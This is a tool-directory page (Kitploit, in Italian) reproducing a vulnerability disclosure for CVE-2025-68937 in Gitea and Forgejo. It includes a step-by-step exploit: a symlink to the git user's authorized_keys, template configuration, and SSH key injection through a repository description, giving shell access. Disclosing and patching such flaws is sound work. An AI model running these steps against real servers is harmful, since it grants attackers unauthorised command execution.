Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Gitea-Forgejo-CVE-2025-68937 — Il path traversal nell'elaborazione dei modelli di repository di Gitea e Forgejo consente a utenti autenticati remoti di elaborare file arbitrari sul filesystem, portando all'esecuzione di codice in remoto. | Kitploit
Strumenti/GitHubGitHub/clemax/gitea-forgejo-cve-2025-68937
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubclemax/gitea-forgejo-cve-2025-68937

Gitea-Forgejo-CVE-2025-68937

Il path traversal nell'elaborazione dei modelli di repository di Gitea e Forgejo consente a utenti autenticati remoti di elaborare file arbitrari sul filesystem, portando all'esecuzione di codice in remoto.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
6 mesi faNon ancora revisionato

Vulnerabilità di espansione arbitraria dei template in Gitea e Forgejo

forgejo-cve CC BY-SA 4.0

Quest'opera è distribuita con licenza Creative Commons Attribution-ShareAlike 4.0 International License.

CC BY-SA 4.0

Sommario

Durante l'analisi del codice sorgente di Forgejo e Gitea per comprendere meglio come viene eseguito il templating, ho scoperto una vulnerabilità che permette a un utente autenticato di creare un repository template malevolo che può essere utilizzato per elaborare file arbitrari sul filesystem.

Quando si crea un repository basato sul contenuto Git del template malevolo, il template sarà in grado di espandere file arbitrari sul filesystem.

Conoscendo il percorso della home directory dell'utente git (che per impostazione predefinita è /data/git nell'immagine docker ufficiale), un attaccante può espandere il file .ssh/authorized_keys dell'utente git per iniettare una chiave senza il parametro command, che può essere utilizzata per eseguire comandi arbitrari o una shell interattiva.

Dettagli tecnici

Versioni affette: Gitea >= v1.11.0-rc1 && <= v1.24.6, Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)

Componente affetto: Repository template

Causa principale: Dereferenziazione di collegamenti simbolici durante la lettura e scrittura dei contenuti dei file template

Flusso dell'exploit

  1. L'attaccante si autentica come utente legittimo

  2. L'attaccante crea un repository template malevolo contenente un collegamento simbolico al file .ssh/authorized_keys dell'utente git (ipotesi) e un file .forgejo/template che fa riferimento al collegamento simbolico

  3. L'attaccante aggiunge una chiave pubblica ssh al suo account con un commento personalizzato che termina con ${REPO_DESCRIPTION}

  4. L'attaccante crea un repository che fa riferimento al repository template malevolo con il templating del contenuto Git abilitato e una descrizione contenente un carattere di nuova riga seguito da un'altra chiave pubblica ssh

  5. I template di Gitea/Forgejo leggono e elaborano il collegamento simbolico authorized_keys, causando l'espansione del commento della chiave pubblica precedentemente impostata in una voce arbitraria corrispondente alla descrizione del repository dell'attaccante, senza il parametro command

  6. L'attaccante effettua il login interattivo come utente git, utilizzando la chiave iniettata

È anche possibile per l'attaccante corrompere il file di configurazione, il database SQLite o causare un denial of service leggendo file enormi.

Mitigazione

  • Disabilitare la registrazione per utenti non fidati
  • Disabilitare la creazione di repository per utenti non fidati

Riproduzione

  1. Installare e configurare una versione vulnerabile di Gitea/Forgejo

  2. Registrare o creare un account per l'attaccante utilizzando l'account amministratore

  3. Effettuare il login con l'account dell'attaccante

  4. Generare due chiavi SSH diverse: una per Git e una per SSH interattivo

root@kitploit:~
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
  1. Aggiungere i contenuti del file ~/.ssh/attacker-git.pub come chiave SSH autorizzata utilizzando l'interfaccia di Gitea/Forgejo

Il commento della chiave dovrebbe essere presente e apparire così:

root@kitploit:~
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}

Il file .ssh/authorized_keys dell'utente git ora appare così:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
  1. Creare un repository template malevolo utilizzando l'interfaccia di Gitea/Forgejo

  2. Clonare il repository template e aggiungere il collegamento simbolico malevolo e la configurazione del template

root@kitploit:~
# Clone the template repository
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template

# Create malicious symlink
ln -s /data/git/.ssh/authorized_keys

# When using Gitea, create Gitea template configuration
mkdir .gitea
echo authorized_keys > .gitea/template

# When using Forgejo, create Forgejo template configuration
mkdir .forgejo
echo authorized_keys > .forgejo/template

# Commit and push the changes
git add -A
git commit -m 'Initial commit'

git push
  1. Creare un nuovo repository che fa riferimento al repository template malevolo con il templating del contenuto Git abilitato e una descrizione contenente un carattere di nuova riga seguito dai contenuti del file ~/.ssh/attacker-ssh.pub

La descrizione del repository dovrebbe apparire così:

root@kitploit:~
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine

replaced sulla prima riga non è obbligatorio, ma è necessario assicurarsi che il carattere di nuova riga sia comunque presente. Il commento attacker@machine alla fine della riga è anch'esso opzionale.

Il file .ssh/authorized_keys risultante dell'utente git apparirà così:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
  1. Connettersi utilizzando la chiave ~/.ssh/attacker-ssh e il client ssh
root@kitploit:~
ssh -i ~/.ssh/attacker-ssh git@localhost -p 222

Riferimenti

  • Gitea release notes
  • Gitea pull request
  • Forgejo 13.0.2 release notes
  • Forgejo 11.0.7 release notes
  • Forgejo patch
Scarica lo strumento